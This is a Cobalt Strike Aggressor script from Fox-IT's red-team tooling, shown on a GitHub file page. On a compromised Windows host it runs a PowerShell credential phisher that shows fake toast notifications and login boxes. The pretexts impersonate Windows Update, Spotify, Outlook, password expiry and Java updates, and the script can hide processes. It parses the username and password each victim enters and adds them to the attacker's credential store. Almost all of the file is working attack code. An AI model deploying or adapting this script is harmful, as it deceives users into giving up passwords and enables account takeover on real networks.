-
Notifications
You must be signed in to change notification settings - Fork 32
/
phishing_module.cna
207 lines (174 loc) · 6.74 KB
/
phishing_module.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
## Fox-IT
## Written by Rindert Kramer
####################
#
# Copyright (c) 2018 Fox-IT
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISNG FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
####################
sub callback {
$bid = %globalsettings['bId'];
$credbox_title = $3['Credbox_title'];
$Toast_type = $3['Toast_type'];
$Application_name = $3['Application_name'];
$Toast_message = $3['Toast_message'];
$Toast_title = $3['Toast_title'];
$Hide_Process = $3['Hide_Process'];
$Credbox_message = $3['Credbox_message'];
# compose PS oneliner
$cmd = "Invoke-CredentialPhisher -ToastTitle \"$Toast_title\" -ToastMessage \"$Toast_message\" -Application \"$Application_name\" -credBoxTitle \"$credbox_title\" -credBoxMessage \"$Credbox_message\" -ToastType \"$Toast_type\"";
# Do we need to hide the process?
if ($Hide_Process eq "Yes") {
$cmd = $cmd . " -HideProcesses";
}
# Load powershell script and execute it
bpowershell_import($bid, script_resource("Invoke-CredentialPhisher.ps1"));
bpowershell($bid, $cmd);
}
on beacon_output {
$out = $2;
if ('[+] Username: ' isin $out){
$username = '';
$password = '';
# Parse output
@lines = split('\r\n', $out);
foreach $line (@lines) {
if ('[+] Username: ' isin $line){
$username = matches($line, '\<ToString\>\[\+\]\sUsername\:\s(.*?)\s\[\+\]\<\/ToString\>')[0];
}
if ('[+] Password: ' isin $line){
$password = matches($line, '\<ToString\>\[\+\]\sPassword\:\s(.*?)\s\[\+\]\<\/ToString\>')[0];
}
}
if ($username ismatch '.+' || $password ismatch '.+') {
println("[+] Got credentials");
println("\tUsername: ".$username)
println("\tPassword: ".$password)
# Add to credential store
if ($username ismatch '.+' && $password ismatch '.+') {
if ('@' isin $username) {
$splits = split('@', $username);
credential_add($splits[0], $password, $splits[1]);
} else if ('\\' isin $username) {
$splits = split("\\\\", $username);
credential_add($splits[1], $password, $splits[0]);
} else {
credential_add($username, $password);
}
println("[+] Added credentials to credential store.");
blog($1, "\c9 Added credentials for user '".$username."' to the credential store\c9");
} else {
println("[-] Not enough information to add credentials to Cobalt Strike");
blog($1, "\c4Not enough information to add credentials to Cobalt Strike\c4");
}
}
} else if ('[-] User did not click on the balloon' isin $out){
println("[-] user did not click on the balloon.");
blog($1, "\c4User did not click on the balloon\c4");
}
}
sub create_dialog {
$dialog = dialog("Phish for credentials.", %(
Toast_title => "$1",
Toast_message => "$2",
Application_name => "$3",
Credbox_title => "$4",
Credbox_message => "$5",
Toast_type => "$6",
Hide_Process => "$7"),
&callback);
dialog_description($dialog, "Modify the details below or hit launch");
drow_text($dialog, "Toast_title", "Toast title:");
drow_text($dialog, "Toast_message", "Toast message:");
drow_text($dialog, "Application_name", "Application name:");
drow_text($dialog, "Credbox_title", "Credentialbox title:");
drow_text($dialog, "Credbox_message", "Credentialbox message:");
drow_combobox($dialog, "Toast_type", "Toast type:", @("Application","System"));
drow_combobox($dialog, "Hide_Process", "Hide processes:", @("Yes", "No"));
dbutton_action($dialog, "Launch");
dialog_show($dialog);
}
popup beacon {
### Template for adding more phishing options
#item " " {
#create_dialog("", # Toast Title
# "", # Toast message
# "", # Application name (outlook, spotify, etc.)
# "", # Credentialbox title
# "", # Credentialbox message
# "", # ToastType (System or Application)
# ""); # Hide processes
#}
# Store beaconID in a globalvariable.
# We change the scope a few times which change the value of $1
%globalsettings['bId'] = $1;
separator();
menu "&Phish credentials" {
item " Windows Update - restart pending" {
create_dialog("Updates are available",
"Your computer will restart in 5 minutes to install the updates",
"Control Panel",
"Credentials needed",
"Please specify your credentials in order to postpone the updates",
"System",
"No");
}
item " Spotify - Premium subscription ended" {
create_dialog("Spotify Account Helper",
"Your Spotify Premium subscription will be cancelled at the end of this month",
"Spotify",
"Spotify",
"Enter your Spotify username and password",
"Application",
"Yes");
}
item " Outlook - Connection lost" {
create_dialog("Microsoft Office Outlook",
"Connection to Microsoft Exchange has been lost.`r`nClick here to restore the connection",
"Outlook",
"Microsoft Outlook",
"Enter password for user '{emailaddress|samaccountname}'",
"Application",
"Yes");
}
item " Password - Password expires" {
create_dialog("Consider changing your password",
"Your password will expire in 5 minutes.`r`nTo change your password, click here or press CTRL+ALT+DELETE and then click 'Change a password'.",
"Control Panel",
"Windows Password reset",
"Enter password for user '{samaccountname}'",
"Application",
"No");
}
item " Java - New update available" {
create_dialog("Java Update Available",
"A new version of Java is ready to be installed",
"Configure Java",
"Java Update Checker",
"Please enter your credentials to update Java",
"Application",
"No");
}
separator();
item " New scenario" {
create_dialog("","","","","","","");
}
}
}